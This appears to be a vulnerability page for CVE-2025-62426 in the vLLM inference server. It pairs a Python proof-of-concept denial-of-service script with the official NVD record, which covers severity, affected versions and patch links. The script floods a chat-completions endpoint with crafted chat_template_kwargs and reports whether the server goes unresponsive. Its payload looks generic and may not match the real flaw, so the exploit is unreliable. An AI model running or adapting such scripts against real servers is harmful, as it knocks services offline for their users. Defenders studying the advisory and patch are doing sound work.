CVE-2025-62426

#!/usr/bin/env python3 """ CVE-2025-62426 PoC - vLLM chat_template_kwargs DoS This PoC demonstrates the denial of service vulnerability in vLLM's chat_template_kwargs parameter handling. """ import requests import json import time import concurrent.futures TARGET_URL = "http://target-server:8000/v1/chat/completions" def trigger_dos(): """ Send a malicious request with crafted chat_template_kwargs to trigger long processing time. """ headers = { "Content-Type": "application/json", "Authorization": "Bearer YOUR_API_KEY" } # Craft malicious payload with problematic chat_template_kwargs payload = { "model": "meta-llama/Llama-3-8b", "messages": [ {"role": "user", "content": "Hello"} ], # Malicious chat_template_kwargs that triggers DoS "chat_template_kwargs": { "loop_trigger": True, "nested_data": {"level1": {"level2": {"level3": {"level4": {"level5": "x" * 1000}}}} } } try: response = requests.post( TARGET_URL, headers=headers, json=payload, timeout=5 ) print(f"Response status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - DoS successful") except Exception as e: print(f"Error: {e}") def verify_dos(): """ Verify that the server is unresponsive after DoS attack. """ normal_payload = { "model": "meta-llama/Llama-3-8b", "messages": [{"role": "user", "content": "Hi"}] } try: response = requests.post( TARGET_URL, json=normal_payload, timeout=10 ) return response.status_code == 200 except: return False if __name__ == "__main__": print("[*] Starting CVE-2025-62426 DoS attack...") # Send multiple malicious requests with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor: futures = [executor.submit(trigger_dos) for _ in range(3)] concurrent.futures.wait(futures) print("[*] Verifying server availability...") time.sleep(2) if not verify_dos(): print("[+] DoS confirmed - Server is unresponsive") else: print("[-] Server still responsive")

{"cve": {"id": "CVE-2025-62426", "sourceIdentifier": "[email protected]", "published": "2025-11-21T02:15:43.570", "lastModified": "2025-12-04T17:42:10.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vLLM is an inference and serving engine for large language models (LLMs). From version 0.5.5 to before 0.11.1, the /v1/chat/completions and /tokenize endpoints allow a chat_template_kwargs request parameter that is used in the code before it is properly validated against the chat template. With the right chat_template_kwargs parameters, it is possible to block processing of the API server for long periods of time, delaying all other requests. This issue has been patched in version 0.11.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.5.5", "versionEndExcluding": "0.11.1", "matchCriteriaId": "BA1047E1-ED1E-4685-B699-8CE5B2058D87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vllm:vllm:0.11.1:rc0:*:*:*:*:*:*", "matchCriteriaId": "FEE054E1-1F84-4ACC-894C-D7E3652EF1B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vllm:vllm:0.11.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B05850DF-38FE-439F-9F7A-AA96DA9038CC"}]}]}], "references": [{"url": "https://github.com/vllm-project/vllm/blob/2a6dc67eb520ddb9c4138d8b35ed6fe6226997fb/vllm/entrypoints/chat_utils.py#L1602-L1610", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/vllm-project/vllm/blob/2a6dc67eb520ddb9c4138d8b35ed6fe6226997fb/vllm/entrypoints/openai/serving_engine.py#L809-L814", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/vllm-project/vllm/commit/3ada34f9cb4d1af763fdfa3b481862a93eb6bd2b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vllm-project/vllm/pull/27205", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-69j4-grxj-j64p", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}